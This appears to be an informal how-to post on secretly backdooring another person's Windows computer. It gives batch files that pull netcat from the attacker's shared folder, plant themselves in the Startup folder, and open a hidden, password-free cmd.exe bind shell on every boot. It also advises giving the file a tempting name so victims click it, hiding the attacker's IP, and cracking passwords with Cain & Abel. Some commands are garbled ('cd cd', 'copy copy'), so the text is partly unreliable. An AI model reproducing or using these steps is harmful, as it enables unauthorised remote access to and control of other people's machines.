Download netcat and write a batch file that you execute from that other computer, put the batch file in your shared folder and name it something that will make it want to be clicked on. This is what you write in the batch file:

@echo off

cd\
c:
cd documents and settings
cd all users
cd start menu
cd programs
cd startup
copy \\[your computername or IP]\[Your shared folder]\[The name of this batch file]
cd\
copy \\[your computername or IP]\[Your shared folder]\netcat.exe
netcat.exe -L -p [specify a port, any port example 7897] -d -e cmd.exe


Thats it, from there on it will execute this batch file every time windows is started and that port will be opened for you to telnet to and the moment you make that connection you will be in the remote computer's command line (cmd) without the need of a username and password. You have full admin privileges and you can do as you like.

or

Write 2 batch files, lets say with the names batch1 and batch2:
The first batch file, this will be the one the remote computer has to execute: Batch1:

@echo off

cd\
c:
cd cd documents and settings
cd all users
cd start menu
cd programs
cd startup
copy \\[your computername or IP]\[Your shared folder]\[The name of the second batch file "batch2"]
cd\
copy copy \\[your computername or IP]\[Your shared folder]\netcat.exe
netcat.exe -L -p [you specify the port] -d -e cmd.exe

The second batch file batch2:

@echo off

cd\
c:
netcat.exe -L -p [You specify] -d -e cmd.exe

And thats that, you can erite all that in notepad and save it as a .bat file and not a .txt file, the second batch file will be the file that startsup at startup every time so no one can see where that is going or coming from as your IP is not in the file.

You can also get cain a abel to crack the passwords if you feel like this is too much of a mission.